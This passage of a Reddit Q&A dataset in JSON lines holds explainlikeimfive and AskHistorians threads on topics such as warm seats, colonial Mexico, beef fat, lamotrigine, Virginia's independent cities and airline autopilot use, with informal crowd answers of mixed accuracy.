skin to skin contact with someone else and couldn't tell if they were warmer or cooler than you? \n\nNot discounting the psychological bias effect of sitting down on a chair we knew we weren't sitting in just moments before: we expect that chair to feel cool. it would be more than a distraction to then find out that the chair is pretty close to your own ass temp, plus the realisation that it could have only come from a foreign ass, both factors adding up to what one can only describe as an uncomfortable thought. so maybe its not so much \"this is much warmer than my butt.\" but maybe also \"this shouldn't be this warm!\"", "Sometimes I get up from my seat and I notice there are traces of sweat from where my balls were laying on the seat.  #sweatyballs", "It's all relative, it's like going from a cold house to a hot outside and  a cold outside to a hot house. You get used/adapt change your own temp to match it.", "Because once you've been sitting somewhere for a while, your ass and the seat have reached a combined average temperature and so there's no temperature difference for you to feel. If you assume the seat of someone with a warmer ass, the seat will be slightly warmer and so it will feel warmer for a while.", "When u sit down, you also heat ur pants which reduces heat loss but when you sit down to someone elses chair, the seat is heated but ur pant is not so it is warm", "You assume objects will be cooler than you.\n\n1. The person who sat on a chair before you has a lower body temperature. The chair is cooler than you. You don't notice.\n\n1a. Nobody sat on the chair before you. It is cooler than you. You don't notice. \n\n2. The person who sat on it before is warmer than you. The chair is warmer. You notice.\n\nSo you'll naturally only notice these situations. \n\n", "Thermodymaic equilibrium.   Your rear and your chair have achieved it (same temperature).  Your rear and someone else's chair has not, with the chair having slightly more heat than your rear when you sit down...therefore said seat gives heat lovingly to your rear. ", "When I lived in China, it was a so curious to see when a seat became available on a bus.  They\u2019d go stand by it for awhile before sitting.  I learned that it was supposedly because there was a fear of disease spreading through the heat.  To this day, I find it kind of gross sitting in someone else\u2019s heat.  ", "Was a difference in heat so hard to figure out? What other factors made you so confused???", "I'm thinking it has something to do with contact points. Every seat is slightly different and even if you sit in the same style you contact the new seat different than the original seat. Once your standing the air is colder and  when you sit in the new seat different points on your body feel the temperature difference.", "There is no temperature difference. It just has to do with your expectations before you sit. ", "Because if you ass has cooled down enough for you to notice the change in temperature then so has the seat.", "When you sit back in your own seat, you subconsciously expect it to be warm. Your brain knows you've been sitting there and it would only register consciously if it were cold. This is because your brain picks up much more information from the environment than you realize, but it's designed to filter out info it deems irrelevant. But when you sit in someone else's seat, it's warm, and your brain is not expecting that since you have not been sitting there. This trips your brain's \"something's off\" detector and registers on a conscious level. This is why people always feel a little surprised when this happens, even though it's super expectable that the seat would be warm, and it's happened to all of us many times. The brain is amazing and weird. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3r9bml", "title": "Was there \"ethnic strife\" in early colonial Mexico (i.e. Mexica v. Tlaxcallan, Purepecha v. Mexica, Maya v. Maya)? How did Spanish authorities quell these conflicts? How did they prevent them from happening in the first place?", "selftext": "I started reading *The War for Mexico's West* by Ida Altman. In the second chapter she states that Nu\u00f1o de Guzm\u00e1n recruited troops from central Mexico and Michoacan for his entrada into the territory that would become New Galicia (Jalisco, Zacatecas, Nayarit). Perhaps not in Guzm\u00e1n's case, but in others, did internal fighting arise between these mixed regiments of formerly hostile groups? Did the Spanish keep these groups in separate camps? What prevented these groups from turning on one another in the heat of battle?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3r9bml/was_there_ethnic_strife_in_early_colonial_mexico/", "answers": {"a_id": ["cwmhzrt"], "score": [12], "text": ["You might be interested in Inga Clendinnen's article ['Fierce and Unnatural Cruelty': Cort\u00e9s and the Conquest of Mexico](_URL_0_).\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jstor.org/stable/2928758"]]}
{"q_id": "3urbtb", "title": "why is beef so fatty when a cow's diet is mostly grass?", "selftext": "Are they eating potato chips when we're not looking?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3urbtb/eli5_why_is_beef_so_fatty_when_a_cows_diet_is/", "answers": {"a_id": ["cxh4itd", "cxh5isx", "cxhagsd"], "score": [3, 3, 2], "text": ["Basically it's because cows have specific enzymes which process complex carbohydrates so for cows eating grass is comparable to humans eating bread. Because they can breakdown the complex carbs it can make them fat, if humans were to eat those same complex carbs it wouldn't make us fat because we wouldn't be able to break them down and therefore digest and gain energy from them", "You were actually quite close with your potato chips.\n\nFor most beef in US supermarkets, the cattle is fed with grass up to a certain age. After, it is moved to feeding facility where it feed mostly corn and other grains. The meat industry has found out that cattle fatten faster when eating corn compared to eating grass. In addition, corn is quite cheap in the US. Faster fattening means that the cattle can turn into usable meat faster. \n\nHowever, the downside is that cattle stomachs are made to process grass, not corn. The corn itself will irritate the cattle digestion which makes them more likely to get sick. The close packing of cattle in the feeding facility also raises the risk of illness. Thus, the cattle get treatments of antibiotics to prevent them from getting sick.", "The reticulorumen is home to a population of\rmicroorganisms (microbes or \u201crumen bugs\u201d) that\rinclude bacteria, protozoa, and fungi. These microbes\rferment and break down plant cell walls into their car-\rbohydrate fractions and produce volatile fatty acids\r(VFAs), such as acetate (used for fat synthesis), priopi-\ronate (used for glucose synthesis), and butyrate from\rthese carbohydrates. The animal later uses these VFAs\rfor energy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ddzcb0", "title": "how does lamotrigine work as a mood stabiliser?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ddzcb0/eli5_how_does_lamotrigine_work_as_a_mood/", "answers": {"a_id": ["f2pgrkh"], "score": [4], "text": ["So as with many psychotropic drugs the exact mechanism of action (MOA) is unknown but we know that they do work.\n\nLamotrogine is classed as an anitepileptic drug but alongside others such as sodium valporate there is sufficient evidence that they are effective in treating bipolar 2 disorder and is used in that context as a mood stabilizer. \n\nSome of the proposed MOA include altering cell membrane sodium transport and alterations in the metabolism of serotonin.\n\nColloquially it is explained as acting of neurotransmitters that effect mood and behaviour (dopamine, serotonin, gamma-amniobutyric acid and glutamate), by altering the levels in the brain which result in a stabilisation of mood. \n\nIn short; puts the mood signals and transmitters in the brain back into there normal range and function which helps put moods back into a stable normal range."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2t3mxd", "title": "how does a true 50/50 link work in the fiftyfifty subreddit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2t3mxd/eli5how_does_a_true_5050_link_work_in_the/", "answers": {"a_id": ["cnvefef"], "score": [2], "text": ["It's similar in principle to a URL shortener.\n\nOne link can take you to a location that merely forwards you somewhere else. For example, _URL_0_ forwards me to _URL_1_\n\nUsually, these redirects go to one place. The 50/50 link goes to a server that randomly picks between one of two locations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["calendar.google.com", "google.com/calendar"]]}
{"q_id": "6bs7l3", "title": "what is the difference between a special prosecutor, an independent commission, and an independent counsel?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bs7l3/eli5_what_is_the_difference_between_a_special/", "answers": {"a_id": ["dhp4dsu"], "score": [2], "text": ["Special counsel/prosecutor is someone with full powers to investigate when possible crimes are believed to have been committed, or when congressional investigations are thought not to be unable to resolve the issue. This is pretty similar to an independent counsel/prosecutor. Before that law ended in 1999, a three judge panel would be presented with evidence, and if persuaded, an independent counsel would be name.\n\nAn independent commission would be like the 9/11 commission, with present and former politicians, agents, lawyers, military and others appointed to look into the matter. A select committee is where members of both houses and parties are placed on a committee to investigate claims. In order of power and independence, it goes Special Counsel >  Independent Commission  > Special Committee"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "v8wml", "title": "What is the oldest, most isolated group of people still around today?", "selftext": "What group of people has been living in basically the same area for the longest time without intermixing with other populations? Have there been genetic studies done to determine the most isolated groups? Why have they remained isolated for so long?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/v8wml/what_is_the_oldest_most_isolated_group_of_people/", "answers": {"a_id": ["c52cttr", "c52cymy", "c52gxpv", "c52iayb", "c52iwtn", "c52klhx"], "score": [76, 9, 2, 5, 5, 5], "text": ["[the Sentinalese](_URL_0_)\n\n > Have there been genetic studies done to determine the most isolated groups? Why have they remained isolated for so long?\n\nNo, because they haven't been contacted; they kill everyone who tries to contact them.", "I don't know how accurate [this](_URL_1_) is, but it looks legit, as the Erasmus Medical Center in the Netherlands is very reputable.\n\nThe Finns look like a distinct ethnic group while the rest of Europe seems pretty intermixed. Finno-Ugric people appear to have migrated from central Asia to the Baltic about 3000 years ago, [according to wikipedia](_URL_0_).", "PNG could be fairly high up on that list.", "[Here's a list.](_URL_1_)\n\nIn an art history class we watched a [documentary on Ishi](_URL_0_), believed to be the last Native American to have lived completely outside of Western influence and another on the indigenous people of New Guinea. I can't remember what it was called.", "This doesn't really answer your question, but it immediately jumped to the front of my mind.  I suggest you check out the BBC series Human Planet.  From wikipedia,\n\n >   It describes the human species and its relationship with the natural world by showing the remarkable ways humans have adapted to life in every environment on Earth.\n\nThe fourth episode--Jungles--discusses not only isolated or uncontacted tribes, but unknown tribes living deep within the amazon rain forest.", "Not really a group, but there's a [lone tribesman in brazil](_URL_0_) who is the last member of an uncontacted tribe, and will try to kill anybody encroaching on his territory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sentinelese_people"], ["http://en.wikipedia.org/wiki/Baltic_Finns#Theories_of_origin", "http://www.nytimes.com/2008/08/13/science/13visual.html"], [], ["http://movies.netflix.com/WiMovie/Ishi_the_Last_Yahi/70022827", "http://en.wikipedia.org/wiki/Uncontacted_peoples"], [], ["http://www.slate.com/articles/news_and_politics/dispatches/2010/08/the_most_isolated_man_on_the_planet.html"]]}
{"q_id": "20x9mp", "title": "If the Odyssey is considered the foundation block for Western Literature and writing, is there an equivalent for Eastern Literature?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20x9mp/if_the_odyssey_is_considered_the_foundation_block/", "answers": {"a_id": ["cg7rghd"], "score": [3], "text": ["There is! \n\n[\"Journey to the West\"](_URL_0_) is an extremely Chinese influential work that recounts the pilgrimage of a buddhist monk to India. The story contains monsters and supernatural challenges, similar to the Odyssey. \n\nThe well known manga/animation *Dragon Ball* is loosely based on this work. Goku, the main character, is 'Sun Wukong' or Monkey king (in fact, Goku is just the japanese pronunounciation of 'Wukong'). He has the monkey tail. Some of the side characters, such as the piggy and the turtle master are also loosely based on characters from 'Journey to the West'. \n\nLastly, Jet Li's [Forbidden Kingdom](_URL_2_) is also loosely based on this work. Jet Li's character is the same irreverent, authority defiant Monkey king so beloved by the readers of 'The Journey to the West'. \n\nIf 'Journey to the West' is the East's Odyssey, ['the Romance of the Three Kingdoms'](_URL_3_) would be the East's Iliad. It is a long epic historical novel that captures the turbulent era following the fall of the Han dynasty. Much like the Iliad, the Romance of the Three Kingdoms features brave and fearless warriors that challenge each other in combat. It also has political intrigue and strategy reminescent of GRRM's Game of Thrones. This work is extremely influential and widely read in China, Korea, Japan etc. \n\nFinally, since 'Eastern Literature' is an ambiguous word, I can mention ['Shahnameh'](_URL_1_), which is the Persian equivalent of the Iliad. I've never read it and am not familiar with it, but I know it has greatly shaped the Persian language and Persian identity after Muslim conquest. \n\nHope you enjoy! :) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Journey_to_the_West", "http://en.wikipedia.org/wiki/Shahnameh", "http://en.wikipedia.org/wiki/The_Forbidden_Kingdom", "http://en.wikipedia.org/wiki/Romance_of_the_Three_Kingdoms"]]}
{"q_id": "3sirp3", "title": "why do companies keep money offshore? also why do companies move their headquarters out of the united states?", "selftext": "Why do companies keep money offshore? Also Why do companies move their headquarters out of the United States?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sirp3/eli5why_do_companies_keep_money_offshore_also_why/", "answers": {"a_id": ["cwxk5s2", "cwxlo9n"], "score": [3, 2], "text": ["Because there are countries in the world where you don't pay taxes. So, since in the US you do pay taxes, it's not to smart to have your money or your corporate office in the US. If you move to a tax-free nation, you get to keep your cash!\n\nThere are whole movements on, for instance, the European tax-free island of Malta which will help you move your business over so you can avoid taxes. ", "If you really want to see a neat trick, watch what happens when soft minded folks get their way with tax rates for wealthy individuals, the folks who can easily afford to just live elsewhere and take their millions with them...  You know what they do?  They live elsewhere.\n\nHappened all over Europe and the UK, will happen in the States too.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1gc0wz", "title": "Why does Virginia, alone among states, require that its cities be discrete municipal entities from its counties (aka Independent Cities)?", "selftext": "Independent cities are cities that do not even nominally exist within a county -- they are beholden only to the state.  In the United States, there are 42 independent cities, and 39 of them are in Virginia (the exceptions are Baltimore, St. Louis, and Carson City, NV).\n\nI have been trying for some time to figure out why this is so.  I know that this practice started in the Virginia Constitution of 1870, so I'll wager it has something to do with the civil war, the secession of the counties that became West Virginia, and/or reconstruction.  However, I have been unable to locate any sources that give me a firm answer.  Particularly frustrating is the fact that the Virginia General Assembly didn't keep records until the 20th century.\n\nFor more information: _URL_0_\n\nAlso, I don't know if this subreddit's rules on conjecture are as strict as those of AskScience, so I will put my own personal theory in the comments.  Mods, feel free to delete.\n\n**EDIT:** correction on the independent Nevada city.\n\n**EDIT 2:** Okay, I'm officially frequenting this subreddit more often.  I posted this question on a lark, because it's bugged me for a while now, and /u/joshtothemaxx not only did a way better job researching the question than me, he also *went out to his library, checked out a book, read the book, and came back with his findings.* Plus, a lot of interesting conversations were had elsewhere.  I was frankly surprised that so many people were interested in this question. Way to go, y'all!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gc0wz/why_does_virginia_alone_among_states_require_that/", "answers": {"a_id": ["cbe2d7w", "caisjtx", "caisz4x", "caitn2d", "caitnmz", "caiu5t1", "caiuloe"], "score": [2, 23, 14, 2, 2, 2, 156], "text": ["I'm late to this thread but I thought I'd add my thoughts since it's relevant to me. I'm from southeastern Virginia, which is a cluster of 7 independent cities. Our nearest county is probably a good 40 minute drive away. I actually grew up not even realizing that it was uncommon to live in a city that wasn't in a county.\nI can see the confusion outside of this area, where there are independent cities within counties. Here, that's not the issue though. This area used to be that way until the 60s when the cities inside the preexisting counties decided to politically consolidate into larger independent cities. Everything is simple. The government structure within each independent city is clear. We have a police department that handles patrols and a sheriff's office that handles courts, jails, etc. ", "For clarity's sake, Reno is not an independent city, Carson City, the capitol of Nevada, is though.\n\n_URL_0_\n\nHere it is referred to as a consolidated municipality.", "Other states seem to have other solutions. In MA, we mostly abolished the county as a unit of government--so the cities are still \"part\" of the counties, but only because the counties are mostly just place names.   Here's the [official word](_URL_0_).\n\n >  Massachusetts has 14 counties. Many functions that are performed at the county level in other states, are performed at the state level here.  Most Massachusetts counties are now primarily geographic districts, with little to no central government functions, such as a county commissioner. However, county residents still elect District Attorneys, Sheriffs and some other officials to perform duties within their counties.  Other functions, such as transit and planning, are performed on a regional basis.\n\nLesson: don't focus on the *names* within the arrangement, focus on the unit of government that does the actual governing.", "Are there any real advantages or disadvantages to organizing as an independent city?", "I'm from Arlington, Virginia. Technically a county, however so small and dense that it is more like a city. There are no \"cities\" within Arlington County, Arlington, well, just *is*. Filling out forms in the past used to leave me confused when they asked for city *and* county, but I've come to learn that it really doesn't matter.\n\nJust an interesting first hand anecdote I thought was relevant.", "*Edit : Looks like its older than 1871\n\n_URL_2_\n\n\nVirginia's independent cities were classified by the Virginia General Assembly in 1871 as cities of the first class and cities of the second class. The Virginia Constitution of 1902 included defined first class cities as those having a population of 10,000 or more based upon the last census enumeration while second class cities were those that had a population of less than 10,000.   Cities which previously been granted a city charter, but did not have the requisite population, had their status grandfathered in.   Second class did not have a court of record and were required to share the cost of that court with their adjacent county and also shared the cost for three constitutional officers of that court\u2014generally, the clerk, commonwealth attorney and sheriff\u2014and those shared officers stood for election in both the city and the county.  At least two constitutional officers\u2014treasurer and commissioner of the revenue\u2014were required to be elected solely by the residents of the city.  The distinction between first and second class cities was ended with the Virginia Constitution of 1971.   However, cities that were classified as second class cities at the time of the adoption of the 1971 Virginia Constitution were authorized to continue sharing their court system and three constitutional officers with the adjacent county.  As of 2003, 14 of Virginia's independent cities retain these features.  \n\nSource: \n_URL_0_\nWikipedia:\n\n_URL_1_", "I'm going to email some of my old professors who were 18th and 19th Century scholars, but here's the closest I can find on my own. Also, there is this book (which I am going to check out of the library in about 10 minutes): *A body incorporate; the evolution of city-county separation in Virginia* by Chester Bain (UVA Press, 1967).\n\n_URL_0_\n\nThe important bits:\n\n\"This separation of counties and independent cities evolved slowly beginning with the incorporation of the first city, Williamsburg, in 1722...Virginia's towns exercise some functions of self-government but in many respects are political subdivisions of the counties in which they are located. The General Assembly first passed an act in 1680 to establish towns for commercial centers in Virginia. When few towns resulted under the act, the assembly tried again in 1691 and in 1705 with the same result. Much of the colony was too sparsely populated and insufficiently productive to generate many thriving towns. Each time the assembly repealed the recent town act and after 1710 gave up the attempt to establish towns en masse altogether. The first state constitutional mention of separate cities and counties came in the Constitution of 1869 and in the enabling legislation passed in the 1869\u20131870 General Assembly session.\"\n\nAccording to this, it looks like the 1870 Constitution was trying to use an long-standing strategy of economic development. I think this makes sense considering the sorry state of the post-War, post-slavery, post-WV-secession economy. \n\n**edit**: Here's some material from the Bain book, plus a little of my own interpretation.\n\n\"The absence of obvious constitutional or statutory authority for the independent city has given rise to considerable speculation as to the origins and bases of the practice in Virginia. A popular explanation that has been advanced from time to time is that the Virginia colonists merely adopted a well-known practice followed in England...There are certain factors which indicate that it is not a completely satisfactory explanation\" (28). \n\nBain cites the fact that city-county separation was not clearly defined in the seventeenth and eighteenth century, plus West Virginia (plus other \"English states\") do not follow this practice, thus suggesting the \"Virginia practice emerged much later than the incorporation of Williams and Norfolk\" (29). Williamsburg's original charter never explicitly cited independence, although there's supporting evidence that it was both independent as well as part of James City and York counties. Generally though, the idea of city-county separation was not a clearly established principle in the case of Williamsburg (32). Regarding West Virginia, there were a number of places granted city status (Wheeling, Morgantown). Bain argues that if separation had been followed consistently statewide, then these cities' status would have been independent of their counties unless the West Virginia government had deliberately changed their status. This never happened, so the WV cities were never separated from their counties. Finally, there is no evidence that \"any other state ever made a city independent when it was first incorporated\" (34).\n\nBain ultimately argued that city independence \"evolved gradually and developed through the years until it gained general acceptance\" (37). He placed its formal acceptance with the 1869 Constitution. \"The only legal authority explicitly stating that cities shall be independent of counties is a short phrase buried in a statute establishing county townships originally enacted in 1870 and continued in effect today\" (37). Legal documents seem to implicitly understand the separation as opposed to explicitly stating it. \n\n**edit 2**: Bain believed colonial motivations were to \"encourage the development of municipalities\" (37), aka they wanted to get towns to grow more. However, the pre-Civil War Constitutions were not explicit. The only separation came with taxes and representation, but according to Bain, this wasn't enough of an explicit dividing. In fact, the 1851 and 1869 Constitutions were effectively the same regarding the two house legislature, circuit court structure, and mode of electing court officials... but the 1869 version now \"required, for the first time, that each county be subdivided into three or more townships...\" (39-40). Further, each township could not include a \"part of any town or city having a separate organization or a population of 5000 or more inhabitants...This provisions contitutes the only explicit, general basis for city-county separation that has been found\" (40). There are a few other references that Bain found. He also noted that local Virginia governments were quick to seize upon the official distinction. Since 1870, other Constitutional updates have removed the explicit distinction, but again assume city-county separation throughout in matters such as representation, schools, and courts.\n\n**tl;dr -- > ** Some people think it was something inherited from the English, but it wasn't. It appears to have informally developed out of the unique Virginian experience stretching back to the early Colonial period, but historians are unsure of its origins. Bain argued it was more or less taken for granted throughout all of Virginia political history until it was first explicitly stated in the 1869 Constitution. Bain can't pinpoint the idea's origins, but he seems to think it emerged out of a desire in the Virginia colony to develop larger urban centers for trade.\n\n**edit 3** Thanks for Reddit Gold someone!\n\n**edit 4** For any graduate students out there, I think this would merit a pretty good thesis topic. Bain published this in the 1960's, and his analysis is quite straightforward. I bet some new readings of old documents would uncover some really interesting stuff."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Independent_city_(United_States)"], "answers_urls": [[], ["http://www.carson.org/index.aspx?page=2"], ["http://www.mass.gov/portal/government-taxes/local/counties-regions/"], [], [], ["http://www.dhcd.virginia.gov/CommissiononLocalGovernment/PDFs/second.class.cities.pdf", "http://en.wikipedia.org/wiki/List_of_cities_in_Virginia", "http://www.encyclopediavirginia.org/Cities_of_Virginia#start_entry"], ["http://www.encyclopediavirginia.org/Cities_of_Virginia#start_entry"]]}
{"q_id": "4x2764", "title": "how much work does a pilot really do and how much is controlled by autopilot ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4x2764/eli5_how_much_work_does_a_pilot_really_do_and_how/", "answers": {"a_id": ["d6bt0aq", "d6btcil", "d6buyqq", "d6bvm1o", "d6bvsd9", "d6bvyi1", "d6bwabk", "d6bx8k3", "d6bxp0d", "d6bxwna", "d6byoad", "d6bzvmf", "d6c030d", "d6c0f89", "d6c0lkz", "d6c0o74", "d6c0u6j", "d6c1n9f", "d6c1sr3", "d6c225s", "d6c3q3v", "d6c3t67", "d6c3xsu", "d6c43xz", "d6c57de", "d6c88yr", "d6c8tzv", "d6c9wjw", "d6ca1ns", "d6cazi3", "d6cbs60", "d6cctdq", "d6ccxfv", "d6cd7yx", "d6cdwvj", "d6cdxkz", "d6cevqg", "d6cjzf0", "d6cmi33", "d6csvhe", "d6ct5io"], "score": [1586, 207, 3, 3, 5, 2, 2, 79, 2039, 3, 2, 3, 21, 2, 3, 14, 26, 3, 24, 2, 2, 2, 3, 2, 2, 3, 23, 3, 2, 3, 2, 4, 3, 2, 5, 2, 2, 2, 3, 3, 2], "text": ["Before the flight even takes off the pilots are planning the route, making sure they have enough fuel and reserves, filing the flight plans and getting them approved. They also check the airplane for any issues. If there have been any previous issues reported in the log they will check to see if the issue have been resolved and go though the maintenance logs and talk to the maintenance crew.\n\nWhen they finally are ready to leave the gate they will have to coordinate with the ground crew and traffic control. There is no autopilot for taxing yet. The airplanes are not built for easy taxing so even maneuvering around on the airport without hitting any other planes requires lots of communication with the tower. This communication goes both ways as the tower might not see all airplanes on the airfield and it is not the optimal situation for radar either.\n\nOnce they are in the air they will monitor the airplane for any issues. There are issues that the autopilot can not deal with, most of them are sensor failures. A human is much better at determining what instruments are working and what is not. Humans also handle unknown situations better then computers. In addition the pilots will be communicating with the air traffic controllers on the ground. There is no standard for communications between the flight computer and ground control so all information needs to be relayed though voice radio communication which requires a human at both ends.\n\nThis being said most of the military drones use commercially available autopilots and flight computers and can be left without attention for longer periods of time. However these do not have passengers on board and do not have to follow the standards of civil aviation.", "It depends on what you really mean by \"controlled by the autopilot\". The autopilot only does what the pilots tell it to do, so the pilots have to continuously monitor to ensure that the autopilot is doing what it is told, and also to ensure that the proper commands are given to the autopilot.\n\nEvery pilot manually flies the takeoff portion of the flight. A huge majority of pilots manually land\u2014not very many airplanes have an autoland capability, and even if they do, a majority of pilots will still manually land the airplane unless the conditions require it.\n\nAs to when the autopilot is engaged: that is up to personal preference. I've witnessed pilots turn on the autopilot as soon as they are 500 feet off the ground; I've also seen pilots hand fly all the way up to cruise. Personally, how fatigued I feel determines when I turn it on: more fatigued means I will turn it on at a lower altitude, and I imagine this is the case for a majority of pilots.\n\nSo while the autopilot maybe doing the monotonous job of holding the wings level, the pilots are still actively involved in the flight.\n", "Military aircrew here, so I'm not a pilot but I fly right there in the back. The pilots can manually start the engines, taxi to the runway, takeoff, set the autopilot, input some command data here and there, and regain control only 50-100ft over the arriving runway. That's how sophisticated autopilot is. \n", "AFAIK on modern Airplanes on which the normal person is flying in to the holidays (737ng,a320 family and bigger) the only standard things that HAVE to be done manually are taxiing and take of to a few hundred feet. Occasionally on smaler airports there's no ILS (instruments landing system,  guiding the plane to the ground on a radio signal). As far as I remember that's when you have to do the landing on your own aswell. But the autopilot will not  be usefull if it's not programmed correct or you don't push the right buttons at the right time. So if your pilot and copilot pass away on cruising altitude the plane won't land. Also things like flaps, gear,  lights are handled manually. ", "Very much depends on the kind of flying, the aircraft, the pilot, and their company. Small aircraft can have autopilots with the same capabilities as small jets. Trainers and small GA planes might have them and use them or have them and never use them. Pilots can elect to use it as much as possible or only turn it on later into the flight. Some companies make rules about the use of the autopilot, (Must be on past 500ft, ect.)\n\nFor the typical airline flight, your pilot may be reading a magazine, talking to ATC, running a checklist, briefing an approach to an airport, programming the FMS, making a cabin announcement, or shootin the shit with the FO. Almost never manually manipulating the controls. We are mostly managing the aircraft and telling it what we want it to do. This is partially for passenger comfort and partially for pilot workload mitigation. That being said sometimes it is just easier to turn it off and \"Hand fly\" the aircraft. _URL_1_\nEDIT: This link shows what i mean better _URL_0_", "If you're asking about commercial passenger aircraft, usually it's as soon as the pilot rotates the aircraft during take-off and announces \"positive rate, gear up\". On the autopilot panel they'll push Heading, Altitude, and Vertical Speed buttons as they pull out the aircraft flight can to use as a make shift table to eat their nachos. Meanwhile the non \"flying\" pilot gets to make the radio calls while flipping through the latest celebrity gossip magazine. If you're lucky enough to have AutoThrottles on the aircraft, a hearty nap is in your future.\n\nSeriously through, the US airspace above 29,000 feet to 41,000 feet is called RVSM, which stands for Reduced Vertical Separation Minimums. Aircraft passing above and below you are 1,000 feet above and below you, so Air Traffic Control prefers you stay exactly at your assigned altitude. The computer does that pretty good. \n\nThere are multiple systems imputing to and controlling the Autopilot. On an Airbus with everything working normally, the flight computers will not let the airplane do anything beyond the normal scope of the aircraft limitations. That said, when the computers are not working due to pilot manipulation or atmospheric conditions and the pilots are hand flying, sometimes catastrophes can happen.\nSee [Air France 447](_URL_0_) and [AirAsia 8501](_URL_1_)", "My grandfather used to instruct people in flying. Pretty sure it was people learning to get non-commercial flight licenses, i.e. flying cesnas and other small prop-planes. This was back in the '60's way before most modern auto-pilots of course, but I think what he used to tell me still applies to this question.\n\nBasically, according to my grandfather, 90% of the challenge for a pilot lay in take-off and landing, both things I seriously doubt are handled by even modern auto-pilots. These are the most dangerous periods of time in a flight. For small craft, sudden crosswinds during landing could be extremely dangerous, as they could flip the plane right over. You also had to make sure you touched down at a slow enough speed, while still ensuring you had enough power to avoid being tumbled by aforementioned crosswinds.\n\nI distinctly remember him saying actually steering the plane once it was at cruising altitude as easy as driving a car, just make sure you know how to read the instruments and stay on your course/heading.", "I'm a pilot. Know one thing - we don't use autopilot for our comfort, but rather the comfort of the passengers.\n\nKeeping an airplane straight-and-level requires 100% attention and physical work on the controls of the airplane. \n\nYes, pilots can do it but the amount of small pitch corrections over a long distance would be extremely tiring.\n\nThe use of autopilot requires constant monitoring, of course, but no physical input on the controls. That's what saves our energy.", "Airline pilot here:\n\nThe amount of work we do depends largely on the type of aircraft we fly and even the weather conditions. \n\nLets talk aircraft:\n\nThe newer aircraft that most airlines operate have pretty advanced autopilots.  Each aircraft and its associated autopilot are certified for certain operations.  Some autopilots can do autoland meaning you simply monitor the landing and make sure the autopilot is doing the necessary actions to safely land the aircraft.  Pilot however prefer to fly the aircraft so autoland is typically only used on days when either the visibility is too low (such as fog) for a pilot landing or the pilot is doing one of their required auto land approaches in good visibility to show their recency of experience. \n\nIn addition, most airliners of today have auto brakes and auto throttles taking a lot of the workload off the pilot.  The funny thing about that is, while over the years airliners have been built with all these new fancy features to reduce pilot workload, these features have infact increased the workload but in a different way.  We monitor what is happening now more than we use to in older aircraft where we were flying more. \n\nAlso, our workload increases when a part of the aircraft is MEL'd (minimum equipment list).  The autopilot can often be out of service and you would have never known as a passenger.  While rare, when it does happen, we are required to hand fly the aircraft.  \n\nSo on a typical day with all systems operational of an advanced aircraft, the pilot will taxi the aircraft out, push the throttles up to a degree of travel that the autothrottles will take over, and engage the autopilot once airborne.  The autopilot will remain active until the pilot is ready to land the airplane.  \n\n\n", "At the furthest extreme large passenger aircraft could completely fly themselves these days,  assuming nothing goes wrong during flight. \n\nPilots are there for mainly take off and landing,  as well as comfort for the passengers. \n\nFighter jets are designed to be inherently unstable, and literally everything is accounted for by autopilot and autostability. This is to increase the responsiveness and flexibility of the aircraft,  making it able to do the crazy stuff you see. Without all the computers making constant minor adjustments to the aircraft it would be literally uncontrollable by the pilot alone. \n\nTl;Dr Autopilot can do pretty much everything on passenger aircraft and is used to make fighter aircraft more agile. ", "Pilots still must tell the autopilot what they want it to do. For example, what altitude to fly at, what navigation source to use, what waypoints to fly to, what heading etc... It's kind of like programming a computer. Some autopilots have the ability to control speed and some the pilots must use the \"throttles\" to control speed manually. \n\nIn cruise, there is not much work to do other than checking that everything is going according to plan. Taxi, takeoff, approach and landing can get quite busy though.", "Flight nurse here:  Our pilots work their butts off.  Everything from planning the flight to checking the helicopter to the dicey maneuvers involved in take offs and landings especially in dodgy areas, make shift LZ's, high winds or other nasty/unexpected crap.  During flight, the autopilot takes the stick but the pilot can easily override it if we spot an obstacle while flying.", "I fly commercial aircraft for a major air carrier in the United States. All taxiing is done using a tiller on the Captain's side that has electronic linkage to the nose wheel. Once in position for takeoff, pilots either fly the plane by hand or let the autopilot take control depending on how sophisticated the plane is. My company's policy is to hand fly the plane to at least 600 feet above the ground before engaging the autopilot. The autopilot must be turned off prior to 400 feet in visual conditions (the pilot can see the runway), or as low as 100ft in instrument conditions (the pilot cannot see the runway). That is not to say the pilot cannot choose to hand fly the plane longer. I usually hand fly up to 10,000 ft and then engage the autopilot, then disengage it at about 5000 feet and hand fly it in to the runway. There is certain airspace known as RVSM at 29,000 to 41,000 ft where the autopilot must be engaged per FAA regulation. This is to reduce the likelihood of pilot error causing a mid air collision. \n\nTLDR: the pilots usually fly the takeoff and landing and allow the autopilot to fly the enroute portion of the flight. ", "16 yrs flying.  10 for major airlines.  Autopilot and automation in general have shifted the type of work pilots do but they have merely changed the required skill set to be 